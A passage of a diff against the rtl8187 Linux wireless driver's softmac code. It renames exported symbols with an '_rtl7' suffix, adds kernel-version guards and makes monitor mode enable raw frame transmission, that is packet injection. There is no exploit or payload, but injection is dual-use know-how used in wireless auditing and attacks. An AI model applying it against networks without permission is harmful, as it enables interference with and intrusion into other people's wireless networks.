INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq_rtl7); +#endif + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); - + spin_lock_init(&ieee->mgmt_tx_lock); spin_lock_init(&ieee->beacon_lock); - + tasklet_init(&ieee->ps_task, - (void(*)(unsigned long)) ieee80211_sta_ps, + (void(*)(unsigned long)) ieee80211_sta_ps_rtl7, (unsigned long)ieee); } -void ieee80211_softmac_free(struct ieee80211_device *ieee) +void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee) { down(&ieee->wx_sem); - + del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); destroy_workqueue(ieee->wq); - + up(&ieee->wx_sem); } -/******************************************************** +/******************************************************** * Start of WPA code. * * this is stolen from the ipw2200 driver * ********************************************************/ - -static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) + +static int ieee80211_wpa_enable_rtl7(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver * interface. */ @@ -2210,19 +2258,19 @@ return 0; } - -void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) + +void ieee80211_wpa_assoc_frame_rtl7(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ - ieee80211_wpa_enable(ieee, 1); + ieee80211_wpa_enable_rtl7(ieee, 1); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) +static int ieee80211_wpa_mlme_rtl7(struct ieee80211_device *ieee, int command, int reason) { - + int ret = 0; switch (command) { @@ -2231,7 +2279,7 @@ break; case IEEE_MLME_STA_DISASSOC: - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); break; default: @@ -2243,7 +2291,7 @@ } -static int ieee80211_wpa_set_wpa_ie(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_wpa_ie_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int plen) { u8 *buf; @@ -2267,16 +2315,16 @@ ieee->wpa_ie_len = 0; } - ieee80211_wpa_assoc_frame(ieee, ieee->wpa_ie, ieee->wpa_ie_len); + ieee80211_wpa_assoc_frame_rtl7(ieee, ieee->wpa_ie, ieee->wpa_ie_len); return 0; } #define AUTH_ALG_OPEN_SYSTEM 0x1 #define AUTH_ALG_SHARED_KEY 0x2 -static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_set_auth_algs_rtl7(struct ieee80211_device *ieee, int value) { - + struct ieee80211_security sec = { .flags = SEC_AUTH_MODE, }; @@ -2300,13 +2348,13 @@ -static int ieee80211_wpa_set_param(struct ieee80211_device *ieee, u8 name, u32 value) +static int ieee80211_wpa_set_param_rtl7(struct ieee80211_device *ieee, u8 name, u32 value) { int ret=0; switch (name) { case IEEE_PARAM_WPA_ENABLED: - ret = ieee80211_wpa_enable(ieee, value); + ret = ieee80211_wpa_enable_rtl7(ieee, value); break; case IEEE_PARAM_TKIP_COUNTERMEASURES: @@ -2351,7 +2399,7 @@ break; case IEEE_PARAM_AUTH_ALGS: - ret = ieee80211_wpa_set_auth_algs(ieee, value); + ret = ieee80211_wpa_set_auth_algs_rtl7(ieee, value); break; case IEEE_PARAM_IEEE_802_1X: @@ -2368,11 +2416,11 @@ /* implementation borrowed from hostap driver */ -static int ieee80211_wpa_set_encryption(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_encryption_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int param_len) { int ret = 0; - + struct ieee80211_crypto_ops *ops; struct ieee80211_crypt_data **crypt; @@ -2407,7 +2455,7 @@ //sec.encrypt = 0; sec.level = SEC_LEVEL_0; sec.flags |= SEC_ENABLED | SEC_LEVEL; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } goto done; } @@ -2421,16 +2469,16 @@ strcmp(param->u.crypt.alg, "TKIP")) goto skip_host_crypt; - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); if (ops == NULL && strcmp(param->u.crypt.alg, "WEP") == 0) { - request_module("ieee80211_crypt_wep"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_wep_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "TKIP") == 0) { - request_module("ieee80211_crypt_tkip"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_tkip_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "CCMP") == 0) { - request_module("ieee80211_crypt_ccmp"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_ccmp_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } if (ops == NULL) { printk("unknown crypto alg '%s'\n", param->u.crypt.alg); @@ -2442,7 +2490,7 @@ if (*crypt == NULL || (*crypt)->ops != ops) { struct ieee80211_crypt_data *new_crypt; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); new_crypt = (struct ieee80211_crypt_data *) kmalloc(sizeof(*new_crypt), GFP_KERNEL); @@ -2525,7 +2573,7 @@ -int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p) +int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p) { struct ieee_param *param; int ret=0; @@ -2537,7 +2585,7 @@ ret = -EINVAL; goto out; } - + param = (struct ieee_param *)kmalloc(p->length, GFP_KERNEL); if (param == NULL){ ret = -ENOMEM; @@ -2552,20 +2600,20 @@ switch (param->cmd) { case IEEE_CMD_SET_WPA_PARAM: - ret = ieee80211_wpa_set_param(ieee, param->u.wpa_param.name, + ret = ieee80211_wpa_set_param_rtl7(ieee, param->u.wpa_param.name, param->u.wpa_param.value); break; case IEEE_CMD_SET_WPA_IE: - ret = ieee80211_wpa_set_wpa_ie(ieee, param, p->length); + ret = ieee80211_wpa_set_wpa_ie_rtl7(ieee, param, p->length); break; case IEEE_CMD_SET_ENCRYPTION: - ret = ieee80211_wpa_set_encryption(ieee, param, p->length); + ret = ieee80211_wpa_set_encryption_rtl7(ieee, param, p->length); break; case IEEE_CMD_MLME: - ret = ieee80211_wpa_mlme(ieee, param->u.mlme.command, + ret = ieee80211_wpa_mlme_rtl7(ieee, param->u.mlme.command, param->u.mlme.reason_code); break; @@ -2581,11 +2629,11 @@ kfree(param); out: up(&ieee->wx_sem); - + return ret; } -void notify_wx_assoc_event(struct ieee80211_device *ieee) +void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee) { union iwreq_data wrqu; wrqu.ap_addr.sa_family = ARPHRD_ETHER; @@ -2597,14 +2645,14 @@ } -EXPORT_SYMBOL(ieee80211_get_beacon); -EXPORT_SYMBOL(ieee80211_wake_queue); -EXPORT_SYMBOL(ieee80211_stop_queue); -EXPORT_SYMBOL(ieee80211_reset_queue); -EXPORT_SYMBOL(ieee80211_softmac_stop_protocol); -EXPORT_SYMBOL(ieee80211_softmac_start_protocol); -EXPORT_SYMBOL(ieee80211_is_shortslot); -EXPORT_SYMBOL(ieee80211_is_54g); -EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl); -EXPORT_SYMBOL(ieee80211_ps_tx_ack); -//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame); +EXPORT_SYMBOL(ieee80211_get_beacon_rtl7); +EXPORT_SYMBOL(ieee80211_wake_queue_rtl7); +EXPORT_SYMBOL(ieee80211_stop_queue_rtl7); +EXPORT_SYMBOL(ieee80211_reset_queue_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_stop_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_start_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_is_shortslot_rtl7); +EXPORT_SYMBOL(ieee80211_is_54g_rtl7); +EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl_rtl7); +EXPORT_SYMBOL(ieee80211_ps_tx_ack_rtl7); +//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac_wx.c rtl8187_rawtx/ieee80211/ieee80211_softmac_wx.c --- rtl8187_orig/ieee80211/ieee80211_softmac_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_softmac_wx.c 2007-07-13 01:46:05.000000000 +0200 @@ -1,7 +1,7 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Some pieces of code might be stolen from ipw2100 driver @@ -18,23 +18,23 @@ /* FIXME: add A freqs */ -const long ieee80211_wlan_frequencies[] = { - 2412, 2417, 2422, 2427, - 2432, 2437, 2442, 2447, - 2452, 2457, 2462, 2467, - 2472, 2484 +const long ieee80211_wlan_frequencies_rtl7[] = { + 2412, 2417, 2422, 2427, + 2432, 2437, 2442, 2447, + 2452, 2457, 2462, 2467, + 2472, 2484 }; -int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; struct iw_freq *fwrq = & wrqu->freq; down(&ieee->wx_sem); - - if(ieee->iw_mode == IW_MODE_INFRA){ + + if(ieee->iw_mode == IW_MODE_INFRA){ ret = -EOPNOTSUPP; goto out; } @@ -45,31 +45,31 @@ fwrq->m <= (int) 2.487e8)) { int f = fwrq->m / 100000; int c = 0; - - while ((c < 14) && (f != ieee80211_wlan_frequencies[c])) + + while ((c < 14) && (f != ieee80211_wlan_frequencies_rtl7[c])) c++; - + /* hack to fall through */ fwrq->e = 0; fwrq->m = c + 1; } } - - if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ + + if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ ret = -EOPNOTSUPP; goto out; - + }else { /* Set the channel */ - - + + ieee->current_network.channel = fwrq->m; ieee->set_chan(ieee->dev, ieee->current_network.channel); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) if(ieee->state == IEEE80211_LINKED){ - - ieee80211_stop_send_beacons(ieee); - ieee80211_start_send_beacons(ieee); + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee80211_start_send_beacons_rtl7(ieee); } } @@ -80,7 +80,7 @@ } -int ieee80211_wx_get_freq(struct ieee80211_device *ieee, +int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -88,110 +88,110 @@ if (ieee->current_network.channel == 0) return -1; - + fwrq->m = ieee->current_network.channel; fwrq->e = 0; - + return 0; } -int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - unsigned long flags; - + unsigned long flags; + wrqu->ap_addr.sa_family = ARPHRD_ETHER; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->wap_set == 0) - + memset(wrqu->ap_addr.sa_data, 0, ETH_ALEN); else - memcpy(wrqu->ap_addr.sa_data, + memcpy(wrqu->ap_addr.sa_data, ieee->current_network.bssid, ETH_ALEN); - + spin_unlock_irqrestore(&ieee->lock, flags); - + return 0; } -int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra) { - + int ret = 0; u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; - + + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - - struct sockaddr *temp = (struct sockaddr *)awrq; - + + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; goto out; } - + if (temp->sa_family != ARPHRD_ETHER){ ret = -EINVAL; goto out; } - + if (ifup) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* just to avoid to give inconsistent infos in the - * get wx method. not really needed otherwise + * get wx method. not really needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - - memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); + + memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); ieee->wap_set = memcmp(temp->sa_data, zero,ETH_ALEN)!=0; - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (ifup) - ieee80211_start_protocol(ieee); - + ieee80211_start_protocol_rtl7(ieee); + out: up(&ieee->wx_sem); return ret; } - - int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) + + int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) { int len,ret = 0; unsigned long flags; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - - /* We want avoid to give to the user inconsistent infos*/ + + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->current_network.ssid[0] == '\0' || - ieee->current_network.ssid_len == 0){ + ieee->current_network.ssid_len == 0){ ret = -1; goto out; } - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->ssid_set == 0){ ret = -1; @@ -204,59 +204,76 @@ out: spin_unlock_irqrestore(&ieee->lock, flags); - + return ret; - + } -int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { u32 target_rate = wrqu->bitrate.value; - + ieee->rate = target_rate/100000; //FIXME: we might want to limit rate also in management protocols. - return 0; + return 0; } -int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + wrqu->bitrate.value = ieee->rate * 100000; - + return 0; } -int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - + short prev = ieee->raw_tx; + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + if (wrqu->mode == ieee->iw_mode) goto out; - + if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } - + if (!ieee->proto_started){ ieee->iw_mode = wrqu->mode; }else{ - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); ieee->iw_mode = wrqu->mode; - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); + } + + if(ieee->iw_mode == IW_MODE_MONITOR) + { + ieee->raw_tx = 1; + if(prev == 0 && ieee->raw_tx){ + if (ieee->data_hard_resume) + ieee->data_hard_resume(ieee->dev); + + netif_carrier_on(ieee->dev); + } + + netif_carrier_on(ieee->dev); + } + else + { + ieee->raw_tx = 0; } out: @@ -264,120 +281,132 @@ return 0; } -void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else +void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short chan; chan = ieee->current_network.channel; - + netif_carrier_off(ieee->dev); - + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee->state = IEEE80211_LINKED_SCANNING; ieee->link_change(ieee->dev); - - ieee80211_start_scan_syncro(ieee); - + + ieee80211_start_scan_syncro_rtl7(ieee); + ieee->set_chan(ieee->dev, chan); - + ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_send_beacons(ieee); - + ieee80211_start_send_beacons_rtl7(ieee); + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); - + } -int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret = 0; - + down(&ieee->wx_sem); - - if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ + + if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ ret = -1; goto out; } - + if ( ieee->state == IEEE80211_LINKED){ queue_work(ieee->wq, &ieee->wx_sync_scan_wq); /* intentionally forget to up sem */ return 0; } - + out: up(&ieee->wx_sem); return ret; } -int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra) { - + int ret=0,len; short proto_started; unsigned long flags; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + proto_started = ieee->proto_started; - + if (wrqu->essid.length > IW_ESSID_MAX_SIZE){ ret= -E2BIG; goto out; } - + if (ieee->iw_mode == IW_MODE_MONITOR){ ret= -1; goto out; } - + if(proto_started) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* this is just to be sure that the GET wx callback * has consisten infos. not needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - + if (wrqu->essid.flags && wrqu->essid.length) { +#if WIRELESS_EXT > 20 + len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE); +#else len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE; - +#endif + strncpy(ieee->current_network.ssid, extra, len); ieee->current_network.ssid_len = len; ieee->ssid_set = 1; } - else{ + else{ ieee->ssid_set = 0; ieee->current_network.ssid[0] = '\0'; ieee->current_network.ssid_len = 0; } - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (proto_started) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); + + return ret; } - int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -385,23 +414,23 @@ return 0; } - int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, + int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = ieee->raw_tx; down(&ieee->wx_sem); - - if(enable) + + if(enable) ieee->raw_tx = 1; - else + else ieee->raw_tx = 0; - printk(KERN_INFO"raw TX is %s\n", + printk(KERN_INFO"raw TX is %s\n", ieee->raw_tx ? "enabled" : "disabled"); if(ieee->iw_mode == IW_MODE_MONITOR) @@ -409,21 +438,21 @@ if(prev == 0 && ieee->raw_tx){ if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - - netif_carrier_on(ieee->dev); + + netif_carrier_on(ieee->dev); } - + if(prev && ieee->raw_tx == 1) - netif_carrier_off(ieee->dev); + netif_carrier_off(ieee->dev); } - + up(&ieee->wx_sem); - + return 0; } - -int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { strcpy(wrqu->name, "802.11"); @@ -433,20 +462,20 @@ strcat(wrqu->name, "/g"); }else if(ieee->modulation & IEEE80211_OFDM_MODULATION) strcat(wrqu->name, "g"); - - if((ieee->state == IEEE80211_LINKED) || + + if((ieee->state == IEEE80211_LINKED) || (ieee->state == IEEE80211_LINKED_SCANNING)) strcat(wrqu->name," linked"); else if(ieee->state != IEEE80211_NOLINK) strcat(wrqu->name," link.."); - - + + return 0; } /* this is mostly stolen from hostap */ -int ieee80211_wx_set_power(struct ieee80211_device *ieee, +int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -457,50 +486,50 @@ (!ieee->ps_request_tx_ack) || (!ieee->enter_sleep_state) || (!ieee->ps_is_queue_empty)){ - + printk("ERROR. PS mode is tryied to be use but\ -driver missed a callback\n\n"); - +driver missed a callback\n\n"); + return -1; } - + down(&ieee->wx_sem); - + if (wrqu->power.disabled){ ieee->ps = IEEE80211_PS_DISABLED; - + goto exit; } switch (wrqu->power.flags & IW_POWER_MODE) { case IW_POWER_UNICAST_R: ieee->ps = IEEE80211_PS_UNICAST; - + break; case IW_POWER_ALL_R: - ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; + ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; break; - + case IW_POWER_ON: ieee->ps = IEEE80211_PS_DISABLED; break; - + default: ret = -EINVAL; goto exit; } if (wrqu->power.flags & IW_POWER_TIMEOUT) { - + ieee->ps_timeout = wrqu->power.value / 1000; printk("Timeout %d\n",ieee->ps_timeout); } - + if (wrqu->power.flags & IW_POWER_PERIOD) { - + ret = -EOPNOTSUPP; goto exit; //wrq->value / 1024; - + } exit: up(&ieee->wx_sem); @@ -509,15 +538,15 @@ } /* this is stolen from hostap */ -int ieee80211_wx_get_power(struct ieee80211_device *ieee, +int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret =0; - + down(&ieee->wx_sem); - - if(ieee->ps == IEEE80211_PS_DISABLED){ + + if(ieee->ps == IEEE80211_PS_DISABLED){ wrqu->power.disabled = 1; goto exit; } @@ -547,19 +576,19 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_essid); -EXPORT_SYMBOL(ieee80211_wx_set_essid); -EXPORT_SYMBOL(ieee80211_wx_set_rate); -EXPORT_SYMBOL(ieee80211_wx_get_rate); -EXPORT_SYMBOL(ieee80211_wx_set_wap); -EXPORT_SYMBOL(ieee80211_wx_get_wap); -EXPORT_SYMBOL(ieee80211_wx_set_mode); -EXPORT_SYMBOL(ieee80211_wx_get_mode); -EXPORT_SYMBOL(ieee80211_wx_set_scan); -EXPORT_SYMBOL(ieee80211_wx_get_freq); -EXPORT_SYMBOL(ieee80211_wx_set_freq); -EXPORT_SYMBOL(ieee80211_wx_set_rawtx); -EXPORT_SYMBOL(ieee80211_wx_get_name); -EXPORT_SYMBOL(ieee80211_wx_set_power); -EXPORT_SYMBOL(ieee80211_wx_get_power); -EXPORT_SYMBOL(ieee80211_wlan_frequencies); +EXPORT_SYMBOL(ieee80211_wx_get_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rawtx_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_name_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_power_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_power_rtl7); +EXPORT_SYMBOL(ieee80211_wlan_frequencies_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_tx.c rtl8187_rawtx/ieee80211/ieee80211_tx.c --- rtl8187_orig/ieee80211/ieee80211_tx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_tx.c 2007-07-13 01:46:05.000000000 +0200 @@ -24,15 +24,14 @@ ****************************************************************************** - Few modifications for Realtek's Wi-Fi drivers by + Few modifications for Realtek's Wi-Fi drivers by Andrea Merello - - A special thanks goes to Realtek for their support ! + + A special thanks goes to Realtek for their support ! ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" @@ -155,7 +160,7 @@ static u8 P802_1H_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0xf8 }; static u8 RFC1042_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0x00 }; -static inline int ieee80211_put_snap(u8 *data, u16 h_proto) +static inline int ieee80211_put_snap_rtl7(u8 *data, u16 h_proto) { struct ieee80211_snap_hdr *snap; u8 *oui; @@ -178,7 +183,7 @@ return SNAP_SIZE + sizeof(u16); } -int ieee80211_encrypt_fragment( +int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len) @@ -225,7 +230,7 @@ } -void ieee80211_txb_free(struct ieee80211_txb *txb) { +void ieee80211_txb_free_rtl7(struct ieee80211_txb *txb) { int i; if (unlikely(!txb)) return; @@ -235,7 +240,7 @@ kfree(txb); } -struct ieee80211_txb *ieee80211_alloc_txb(int nr_frags, int txb_size, +struct ieee80211_txb *ieee80211_alloc_txb_rtl7(int nr_frags, int txb_size, int gfp_mask) { struct ieee80211_txb *txb; @@ -267,7 +272,7 @@ } /* SKBs are added to the ieee->tx_queue. */ -int ieee80211_xmit(struct sk_buff *skb, +int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -299,27 +304,27 @@ } if(likely(ieee->raw_tx == 0)){ - + if (unlikely(skb->len < SNAP_SIZE + sizeof(u16))) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - - + + ether_type = ntohs(((struct ethhdr *)skb->data)->h_proto); - + crypt = ieee->crypt[ieee->tx_keyidx]; - + encrypt = !(ether_type == ETH_P_PAE && ieee->ieee802_1x) && ieee->host_encrypt && crypt && crypt->ops; - + if (!encrypt && ieee->ieee802_1x && ieee->drop_unencrypted && ether_type != ETH_P_PAE) { stats->tx_dropped++; goto success; } - + #ifdef CONFIG_IEEE80211_DEBUG if (crypt && !encrypt && ether_type == ETH_P_PAE) { struct eapol *eap = (struct eapol *)(skb->data + @@ -328,23 +333,23 @@ eap_get_type(eap->type)); } #endif - + /* Save source and destination addresses */ memcpy(&dest, skb->data, ETH_ALEN); memcpy(&src, skb->data+ETH_ALEN, ETH_ALEN); - + /* Advance the SKB to the start of the payload */ skb_pull(skb, sizeof(struct ethhdr)); - + /* Determine total amount of storage required for TXB packets */ bytes = skb->len + SNAP_SIZE + sizeof(u16); - + if (encrypt) fc = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA | IEEE80211_FCTL_WEP; else fc = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA; - + if (ieee->iw_mode == IW_MODE_INFRA) { fc |= IEEE80211_FCTL_TODS; /* To DS: Addr1 = BSSID, Addr2 = SA, @@ -360,9 +365,9 @@ memcpy(&header.addr3, ieee->current_network.bssid, ETH_ALEN); } header.frame_ctl = cpu_to_le16(fc); - + hdr_len = IEEE80211_3ADDR_LEN; - + /* Determine fragmentation size based on destination (multicast * and broadcast are not fragmented) */ if (is_multicast_ether_addr(dest) || @@ -370,7 +375,7 @@ frag_size = MAX_FRAG_THRESHOLD; else frag_size = ieee->fts; - + /* Determine amount of payload per fragment. Regardless of if * this stack is providing the full 802.11 header, one will * eventually be affixed to this fragment -- so we must account for @@ -379,12 +384,12 @@ if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) bytes_per_frag -= IEEE80211_FCS_LEN; - + /* Each fragment may need to have room for encryptiong pre/postfix */ if (encrypt) bytes_per_frag -= crypt->ops->extra_prefix_len + crypt->ops->extra_postfix_len; - + /* Number of fragments is the total bytes_per_frag / * payload_per_fragment */ nr_frags = bytes / bytes_per_frag; @@ -393,11 +398,11 @@ nr_frags++; else bytes_last_frag = bytes_per_frag; - + /* When we allocate the TXB we allocate enough space for the reserve * and full fragment bytes 